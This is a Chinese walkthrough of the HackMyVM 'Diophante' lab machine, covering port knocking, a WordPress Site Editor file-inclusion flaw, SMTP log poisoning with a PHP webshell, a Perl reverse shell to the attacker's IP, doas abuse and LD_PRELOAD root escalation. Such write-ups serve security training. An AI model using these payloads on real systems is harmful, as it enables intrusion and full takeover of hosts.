当前位置: 首页 > news >正文

【hackmyvm】Diophante 靶场

1. 基本信息^toc

这里写目录标题

    • 1. 基本信息^toc
    • 2. 信息收集
      • 2.1. 端口扫描
      • 2.2. 目录扫描
      • 2.3. knock
    • 3. WordPress利用
      • 3.1. wpscan扫描
      • 3.2. smtp上传后门
    • 4. 提权
      • 4.1. 提权leonard用户
      • 4.2. LD劫持提权root

靶机链接 https://hackmyvm.eu/machines/machine.php?vm=Diophante
作者 cromiphi
难度 ⭐️⭐️⭐️⭐️⭐️

2. 信息收集

2.1. 端口扫描

┌──(root㉿kali)-[~]
└─# nmap 192.168.56.13 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-21 05:01 EST
Nmap scan report for 192.168.56.13
Host is up (0.0031s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE    SERVICE
22/tcp open     ssh
25/tcp filtered smtp
80/tcp open     http
MAC Address: 08:00:27:B8:67:CA (Oracle VirtualBox virtual NIC)Nmap done: 1 IP address (1 host up) scanned in 28.73 seconds

25 端口被防火墙过滤了 多半是需要knock

2.2. 目录扫描

┌──(root㉿kali)-[~]
└─# dirsearch -u http://192.168.56.13
^[[A/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.htmlfrom pkg_resources import DistributionNotFound, VersionConflict_|. _ _  _  _  _ _|_    v0.4.3(_||| _) (/_(_|| (_| )Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460Output File: /root/reports/http_192.168.56.13/_24-12-21_05-06-58.txtTarget: http://192.168.56.13/[05:06:58] Starting:
[05:06:59] 403 -  278B  - /.ht_wsr.txt
[05:06:59] 403 -  278B  - /.htaccess.orig
[05:06:59] 403 -  278B  - /.htaccess.bak1
[05:06:59] 403 -  278B  - /.htaccess.save
[05:06:59] 403 -  278B  - /.htaccess.sample
[05:06:59] 403 -  278B  - /.htaccess_extra
[05:06:59] 403 -  278B  - /.htaccess_orig
[05:06:59] 403 -  278B  - /.htaccess_sc
[05:06:59] 403 -  278B  - /.htaccessOLD
[05:06:59] 403 -  278B  - /.htaccessBAK
[05:06:59] 403 -  278B  - /.htaccessOLD2
[05:06:59] 403 -  278B  - /.htm
[05:06:59] 403 -  278B  - /.htpasswd_test
[05:06:59] 403 -  278B  - /.html
[05:06:59] 403 -  278B  - /.htpasswds
[05:06:59] 403 -  278B  - /.httr-oauth
[05:06:59] 403 -  278B  - /.php
[05:07:05] 301 -  313B  - /blog  ->  http://192.168.56.13/blog/
[05:07:09] 200 -    3KB - /blog/wp-login.php
[05:07:09] 200 -    5KB - /blog/
[05:07:15] 403 -  278B  - /server-status
[05:07:15] 403 -  278B  - /server-status/Task Completed┌──(root㉿kali)-[~/Desktop/hmv/Diophanate]
└─# gobuster dir -u http://192.168.56.13 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,zip
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.13
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              zip,php,html,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 278]
/.php                 (Status: 403) [Size: 278]
/index.html           (Status: 200) [Size: 10701]
/blog                 (Status: 301) [Size: 313] [--> http://192.168.56.13/blog/]
/note.txt             (Status: 200) [Size: 36]

2.3. knock

/note.txt

┌──(root㉿kali)-[~/Desktop/hmv/Diophanate]
└─# curl http://192.168.56.13/note.txt
Don't forget: 7000 8000 9000admin

这应该就是要敲门的端口


┌──(root㉿kali)-[~/Desktop/hmv/Diophanate]
└─# knock 192.168.56.13 7000 8000 9000 -v
hitting tcp 192.168.56.13:7000
hitting tcp 192.168.56.13:8000
hitting tcp 192.168.56.13:9000┌──(root㉿kali)-[~/Desktop/hmv/Diophanate]
└─# nmap 192.168.56.13
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-21 05:18 EST
Nmap scan report for 192.168.56.13
Host is up (0.022s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
25/tcp open  smtp
80/tcp open  http
MAC Address: 08:00:27:B8:67:CA (Oracle VirtualBox virtual NIC)Nmap done: 1 IP address (1 host up) scanned in 1.90 seconds

3. WordPress利用

发现存在wp-login 路径 多半存在 WordPress 服务

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

查看源码可以发现一个域名 hard
![外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传](https://img-home.csdnimg.cn/images/20230724024159.png?
添加一下

3.1. wpscan扫描

┌──(root㉿kali)-[~]
└─# wpscan --url http://hard/blog --api-token xxxxxx
_________________________________________________________________          _______   _____\ \        / /  __ \ / ____|\ \  /\  / /| |__) | (___   ___  __ _ _ __ ®\ \/  \/ / |  ___/ \___ \ / __|/ _` | ''_ \\  /\  /  | |     ____) | (__| (_| | | | |\/  \/   |_|    |_____/ \___|\__,_|_| |_|WordPress Security Scanner by the WPScan TeamVersion 3.8.27Sponsored by Automattic - https://automattic.com/@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________[+] URL: http://hard/blog/ [192.168.56.13]
[+] Started: Sat Dec 21 05:26:22 2024Interesting Finding(s):[+] Headers| Interesting Entry: Server: Apache/2.4.38 (Debian)| Found By: Headers (Passive Detection)| Confidence: 100%[+] XML-RPC seems to be enabled: http://hard/blog/xmlrpc.php| Found By: Direct Access (Aggressive Detection)| Confidence: 100%| References:|  - http://codex.wordpress.org/XML-RPC_Pingback_API|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/|  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/[+] WordPress readme found: http://hard/blog/readme.html| Found By: Direct Access (Aggressive Detection)| Confidence: 100%[+] Upload directory has listing enabled: http://hard/blog/wp-content/uploads/| Found By: Direct Access (Aggressive Detection)| Confidence: 100%[+] The external WP-Cron seems to be enabled: http://hard/blog/wp-cron.php| Found By: Direct Access (Aggressive Detection)| Confidence: 60%| References:|  - https://www.iplocation.net/defend-wordpress-from-ddos|  - https://github.com/wpscanteam/wpscan/issues/1299[+] WordPress version 5.7 identified (Insecure, released on 2021-03-09).| Found By: Rss Generator (Passive Detection)|  - http://hard/blog/?feed=rss2, <generator>https://wordpress.org/?v=5.7</generator>|  - http://hard/blog/?feed=comments-rss2, <generator>https://wordpress.org/?v=5.7</generator>|| [!] 44 vulnerabilities identified:[+] site-editor| Location: http://hard/blog/wp-content/plugins/site-editor/| Latest Version: 1.1.1 (up to date)| Last Updated: 2017-05-02T23:34:00.000Z|| Found By: Urls In Homepage (Passive Detection)|| [!] 1 vulnerability identified:|| [!] Title: Site Editor <= 1.1.1 - Local File Inclusion (LFI)|     References:|      - https://wpscan.com/vulnerability/4432ecea-2b01-4d5c-9557-352042a57e44|      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7422|      - https://seclists.org/fulldisclosure/2018/Mar/40|      - https://github.com/SiteEditor/editor/issues/2|| Version: 1.1.1 (80% confidence)| Found By: Readme - Stable Tag (Aggressive Detection)|  - http://hard/blog/wp-content/plugins/site-editor/readme.txt

里面可以检测到site-editor存在插件存在一个LFI
然后可以找到这个CVE的利用
https://www.exploit-db.com/exploits/44340
验证一下发现存在可以利用

http://192.168.56.13/blog/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

3.2. smtp上传后门

我们获取到了一个LFI
但是现在需要利用这个弹一个shell

这里我想到了我们端口扫描时 开放的25端口 SMTP邮件服务
我们利用SMTP邮件服务 发送一个后门邮件 然后对其进行文件包含

这里需要选择一个接受邮件的用户,用户可以在/etc/passwd里面获取

apt install postfix┌──(root㉿kali)-[~/Desktop/hmv/Diophanate]
└─# nc 192.168.56.14 25
220 debian ESMTP Postfix (Debian/GNU)
helo xxx
250 debian
mail from:<kali>
250 2.1.0 Ok
rcpt to: sabine
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
<?php system($_GET['cmd']);?>
.
250 2.0.0 Ok: queued as B952B802CC
quit
221 2.0.0 Bye

[!warning]
邮件发送过多会导致log文件损坏,需要重置靶机才行
rcpt to: sabine 后面的接受者是固定的 不能任意,必须是目标靶机上的用户
mail from:<kali> 这里后面的发送者可以任意,但一定要用< >括起来

我们使用 Postfix 发送邮件:邮件通常存储在 /var/spool/mail/<用户名>/var/mail/<用户名> 中。

然后访问
http://192.168.56.14/blog/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/mail/sabine&cmd=id
即可RCE

弹shell

curl http://192.168.56.14/blog/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/mail/sabine&cmd=perl%20-e%20%27use%20Socket%3B%24i%3D%22192.168.56.6%22%3B%24p%3D1234%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2Fbin%2Fbash%20-i%22%29%3B%7D%3B%27┌──(root㉿kali)-[~/Desktop/hmv/Diophanate]
└─# pwncat-cs -lp 1234[08:40:32] Welcome to pwncat 🐈!                                                        __main__.py:164
[08:40:59] received connection from 192.168.56.14:42498                                      bind.py:84
[08:41:00] 192.168.56.14:42498: registered new host w/ db                                manager.py:957
(local) pwncat$
(remote) www-data@diophante:/var/www/html/blog/wp-content/plugins/site-editor/editor/extensions/pagebui
lder/includes$

4. 提权

4.1. 提权leonard用户

检测发现有 doas 的SUID权限
我们看看doas的配置文件

(remote) www-data@diophante:/home/leonard$ cat /etc/doas.conf
permit nopass www-data as sabine cmd /usr/bin/setsid
permit nopass sabine as leonard cmd /usr/bin/mutt

允许我们以 www-data 用户 用 sabine 用户的权限执行 /usr/bin/setsid
允许我们以 sabine 用户 用 leonard 用户的权限执行 /usr/bin/mutt

先利用 /usr/bin/setsid 提取到 sabine 用户

(remote) www-data@diophante:/home/leonard$ doas -u sabine /usr/bin/setsid bash
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
sabine@diophante:/home/leonard$ whoami
sabine

然后提权到 leonard 用户

sabine@diophante:/home/leonard$ doas -u leonard /usr/bin/mutt
输入!回车
leonard@diophante:~$ whoami
leonardleonard@diophante:~$ cat user.txt
Thonirburarnlog

4.2. LD劫持提权root

leonard@diophante:~$ sudo -l
Matching Defaults entries for leonard on diophante:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=LD_PRELOADUser leonard may run the following commands on diophante:(ALL : ALL) NOPASSWD: /usr/bin/ping

发现我们当前用户可以执行/usr/bin/ping
其中 env_keep+=LD_PRELOAD 运行我们进行LD劫持

当我们使用 Ping 命令时,就会调用很多动态链接库文件(.so文件)里面的函数,而 LD_PRELOAD 这个环境变量允许我们指定优先调用的动态链接库文件。
所以我们可以写一个恶意的so文件,替换里面被调用函数的功能,然后让其 ping 以root用户运行这个函数 实现提权

首先我们需要获取到一个 ping 命令时一定会执行函数
ida反编译 ping
这里我选择 getopt 函数。因为他的作用是获取参数。所以基本上一定会被调用
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

编译恶意so文件

int getopt(char *s){setuid(0);setgid(0);system("chmod +s /bin/bash");
}gcc a.c  -o pwn.so -shared

这里我用Kali2024的编译不行
会报错
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

可以换一个版本 。应该是gcc版本的问题。
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

然后把编译后的 pwn.so 传上去就行了

sudo -u root LD_PRELOAD=/tmp/pwn.so /usr/bin/ping 1.1.1.1des$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18  2019 /bin/bash
leonard@diophante:/var/www/html/blog/wp-content/plugins/site-editor/editor/extensions/pagebuilder/inclu
des$ bash -pbash-5.0# whoami
root
bash-5.0# ls /root
root.txt
bash-5.0# cat /root/root.txt
Culcelborlus

相关文章:

【hackmyvm】Diophante 靶场

1. 基本信息^toc 这里写目录标题 1. 基本信息^toc2. 信息收集2.1. 端口扫描2.2. 目录扫描2.3. knock 3. WordPress利用3.1. wpscan扫描3.2. smtp上传后门 4. 提权4.1. 提权leonard用户4.2. LD劫持提权root 靶机链接 https://hackmyvm.eu/machines/machine.php?vmDiophante 作者…...

C++类的继承关系中什么时候要用到上行转换和下行转换

一、C类继承关系中的上行转换 1. 多态性实现 在C中&#xff0c;上行转换&#xff08;将派生类转换为基类&#xff09;是实现多态性的关键。例如&#xff0c;当有一个基类Animal&#xff0c;以及派生类Dog和Cat。如果有一个函数接受Animal类型的参数&#xff0c;我们可以将Dog或…...

Ubuntu 22.04永久保存路由

在 Ubuntu 22.04 上&#xff0c;可以按照以下方式配置让流量访问 172.19.201.207 走指定的路由。 1. 临时添加路由 临时路由规则只在当前系统会话中有效&#xff0c;重启后会丢失。 添加路由规则 运行以下命令&#xff1a; sudo ip route add 172.19.201.207 via 192.168.2…...

数据结构十大排序之(冒泡,快排,并归)

接上期&#xff1a; 数据结十大排序之&#xff08;选排&#xff0c;希尔&#xff0c;插排&#xff0c;堆排&#xff09;-CSDN博客 前言&#xff1a; 在计算机科学中&#xff0c;排序算法是最基础且最重要的算法之一。无论是大规模数据处理还是日常的小型程序开发&#xff0c;…...

OpenFeign源码

openfeign是通过FeignClientFactoryBean生成动态代理对象的方式实现http客户端无感调用&#xff0c;可以做到像定义接口一样写http客户端调用代码。 配置Feign接口后&#xff0c;我们通常会在SpringBoot项目启动类上标记EnableFeignClients&#xff0c;这个是生成动态代理对象的…...

sql server索引优化语句

第一步 建一个测试表 --create table TestUsers --( -- Id int primary key identity(1,1), -- Username varchar(30) not null, -- Password varchar(10) not null, -- CreateDateTime datetime not null --)第二步 插入100w数据 大概1分钟执行时间 ----插入数据…...

深度学习之超分辨率算法——SRGAN

更新版本 实现了生成对抗网络在超分辨率上的使用 更新了损失函数&#xff0c;增加先验函数 SRresnet实现 import torch import torchvision from torch import nnclass ConvBlock(nn.Module):def __init__(self, kernel_size3, stride1, n_inchannels64):super(ConvBlock…...

16.2、网络安全风险评估技术与攻击

目录 网络安全风险评估技术方法与工具 网络安全风险评估技术方法与工具 资产信息收集&#xff0c;可以通过调查表的形式把我们各类的资产信息进行一个统计和收集&#xff0c;掌握被评估对象的重要资产分布&#xff0c;进而分析这些资产关联的业务面临的安全威胁以及存在的安全…...

【项目管理】GDB调试

gdb&#xff08;GNU Debugger&#xff09; 是 Linux 和嵌入式开发中最常用的调试工具之一&#xff0c;可以用来调试 C/C 程序、排查崩溃、分析程序流程等。在嵌入式开发中&#xff0c;gdb 还可以通过远程调试&#xff08;gdbserver&#xff09;调试目标设备上的程序。 这篇文章…...

ChatGPT生成接口测试用例(一)

用ChatGPT做软件测试 接口测试在软件开发生命周期中扮演着至关重要的角色&#xff0c;有助于验证不同模块之间的交互是否正确。若协议消息被恶意修改&#xff0c;系统是否能够恰当处理&#xff0c;以确保系统的功能正常运行&#xff0c;不会出现宕机或者安全问题。 5.1 ChatGP…...

2024 年 IA 技术大爆发深度解析

摘要&#xff1a; 本文旨在深入剖析 2024 年 IA 技术大爆发所引发的多方面反响。通过对产业变革、经济影响、就业市场、社会影响、政策与监管以及未来展望等维度的探讨&#xff0c;揭示 IA 技术在这一关键时期对全球各个层面带来的深刻变革与挑战&#xff0c;并提出相应的思考与…...

如何进行js后台框架搭建(树形菜单,面包屑,全屏功能,刷新功能,监听页面刷新功能)

框架功能是后台高亮不可缺少的功能&#xff0c;基本上所有的后台都需要框架功能&#xff0c;下面是我制作好的一个效果图 下面是我的框架里面功能的具体讲解&#xff0c;还有完整的代码示例 1.声明的变量 // 声明一个用于判断个人信息显示变量 let myes 0; // 声明一个用于切…...

多目标优化常用方法:pareto最优解

生产实际中的许多优化问题大都是多目标问题&#xff0c;举个例子&#xff1a;我们想换一份工资高、压力小、离家近的新工作&#xff0c;这里工资高、压力小、离家近就是我们的目标&#xff0c;显然这是一个多目标问题&#xff0c;那我们肯定想找到这三个目标同时最优的工作&…...

Vue.js实例开发-如何通过Props传递数据

props 是父组件用来传递数据给子组件的一种机制。通过 props&#xff0c;你可以将数据从父组件“传递”到子组件&#xff0c;并在子组件的模板和逻辑中使用这些数据。 1. 定义子组件并接收 props 首先&#xff0c;定义一个子组件&#xff0c;并在该组件中声明它期望接收的 pr…...

由popover框一起的操作demo问题

场景&#xff1a; 当popover框弹出的时候&#xff0c;又有MessageBox 提示&#xff0c;此时关闭MessageBox 提示&#xff0c;popover就关闭了。将popover改为手动激活&#xff0c;可以解决这个问题&#xff0c;但是会引起另外一个问题&#xff0c;之前&#xff08;click触发的时…...

人工智能ACA(四)--机器学习基础

零、参考资料 一篇文章完全搞懂正则化&#xff08;Regularization&#xff09;-CSDN博客 一、 机器学习概述 0. 机器学习的层次结构 学习范式&#xff08;最高层&#xff09; 怎么学 监督学习 无监督学习 半监督学习 强化学习 学习任务&#xff08;中间层&#xff0…...

uniapp图片数据流���� JFIF ��C 转化base64

1&#xff0c;后端返回的是图片数据流&#xff0c;格式如下 &#xfffd;&#xfffd;&#xfffd;&#xfffd; JFIF &#xfffd;&#xfffd;C 如何把这样的文件流转化为base64&#xff0c; btoa 是浏览器提供的函数&#xff0c;但在 小程序 环境中&#xff08;如微信小程序…...

django中cookie与session的使用

一、cookie cookie由服务器生成 &#xff0c;存储在浏览器中的键值对数据,具有不安全性&#xff0c;对应敏感数据应该加密储存在服务端每个域名的cookie相互独立浏览器访问域名为A的url地址&#xff0c;会把A域名下的cookie一起传递到服务器cookie可以设置过期时间 django中设…...

<项目代码>YOLO Visdrone航拍目标识别<目标检测>

项目代码下载链接 &#xff1c;项目代码&#xff1e;YOLO Visdrone航拍目标识别&#xff1c;目标检测&#xff1e;https://download.csdn.net/download/qq_53332949/90163918YOLOv8是一种单阶段&#xff08;one-stage&#xff09;检测算法&#xff0c;它将目标检测问题转化为一…...

GhostRace: Exploiting and Mitigating Speculative Race Conditions-记录

文章目录 论文背景Spectre-PHT&#xff08;Transient Execution &#xff09;Concurrency BugsSRC/SCUAF和实验条件 流程Creating an Unbounded UAF WindowCrafting Speculative Race ConditionsExploiting Speculative Race Conditions poc修复flush and reload 论文 https:/…...

月销20万美金!户外“神器”领跑全球爆单季,跨境卖家如何靠本地化内容突围?

随着北半球天气回暖&#xff0c;全球“户外露营”热潮正以前所未有的速度升温。根据最新行业数据显示&#xff0c;谷歌趋势中“outdoor camping”&#xff08;户外露营&#xff09;的搜索热度自3月起便持续攀升&#xff0c;维持在“22-100”的高位区间。 对于跨境卖家而言&…...

公司SEO推广与关键词策略的关系是什么_公司SEO推广的长期效果如何确保

公司SEO推广与关键词策略的关系是什么_公司SEO推广的长期效果如何确保 什么是SEO推广&#xff1f; 我们来了解一下什么是SEO推广。SEO&#xff0c;全称搜索引擎优化&#xff0c;是通过优化网站内容和结构&#xff0c;提高其在搜索引擎自然排名中的位置&#xff0c;从而吸引更…...

效率倍增器:OpenClaw+千问3.5-27B自动化邮件处理

效率倍增器&#xff1a;OpenClaw千问3.5-27B自动化邮件处理 1. 为什么需要自动化邮件处理 每天早晨打开邮箱&#xff0c;看到堆积如山的未读邮件时&#xff0c;那种窒息感我至今难忘。作为技术团队的接口人&#xff0c;我的邮箱常年保持着2000未读邮件的状态——重要需求埋没…...

Python 3.14 JIT性能调优进入倒计时:CPython核心组已宣布v3.15将移除--enable-jit-experimental标志,现在不掌握就永久错过

第一章&#xff1a;Python 3.14 JIT编译器的演进脉络与战略意义Python 3.14 并非官方发布的正式版本——截至 2024 年&#xff0c;CPython 最新稳定版为 3.12&#xff0c;3.13 处于预发布阶段&#xff0c;而 3.14 尚未进入开发路线图。因此&#xff0c;“Python 3.14 JIT 编译器…...

抖音批量下载工具终极指南:免费下载去水印视频的完整教程

抖音批量下载工具终极指南&#xff1a;免费下载去水印视频的完整教程 【免费下载链接】douyin-downloader A practical Douyin downloader for both single-item and profile batch downloads, with progress display, retries, SQLite deduplication, and browser fallback su…...

极空间玩出花!用 File Browser 搭建专属私有云,文件管理超丝滑

前言 玩 NAS 的朋友应该都懂&#xff0c;极空间的硬件确实够稳&#xff0c;但原生的文件管理功能总差那么点意思 —— 权限管控不精细、跨设备操作不够顺手&#xff0c;想把它打造成真正的私人网盘总差点火候。 直到我试了 File Browser&#xff0c;这款轻量又强大的开源 Web…...

数字化转型深水区:技术从“支撑”到“驱动”的蜕变

对于身处一线的软件测试从业者而言&#xff0c;“数字化转型”早已不是一个陌生的词汇。我们经历了从手工测试到自动化测试的转变&#xff0c;见证了敏捷与DevOps带来的流程革新。然而&#xff0c;当转型浪潮进入“深水区”&#xff0c;一种更为根本的变革正在发生&#xff1a;…...

医疗AI实战:如何用NLP技术从电子病历中提取科研特征(附Python代码)

医疗AI实战&#xff1a;从电子病历中挖掘科研金矿的NLP技术指南 在医疗健康领域&#xff0c;电子病历&#xff08;EMR&#xff09;是一座尚未充分开发的数据金矿。据统计&#xff0c;医疗机构产生的数据中超过70%是非结构化文本信息&#xff0c;包括医生记录、检查报告和病程描…...

Python异步爬虫实战:如何避免aiohttp的ServerDisconnectedError(附完整代码)

Python异步爬虫实战&#xff1a;深度解决aiohttp的ServerDisconnectedError问题 最近在帮朋友优化一个电商价格监控项目时&#xff0c;遇到了令人头疼的ServerDisconnectedError。每当爬取量超过5000条商品数据时&#xff0c;程序就会随机崩溃&#xff0c;控制台满是红色错误日…...

5款轻量级效率工具让你的文字识别效率提升300%:Umi-OCR完全指南

5款轻量级效率工具让你的文字识别效率提升300%&#xff1a;Umi-OCR完全指南 【免费下载链接】Umi-OCR OCR software, free and offline. 开源、免费的离线OCR软件。支持截屏/批量导入图片&#xff0c;PDF文档识别&#xff0c;排除水印/页眉页脚&#xff0c;扫描/生成二维码。内…...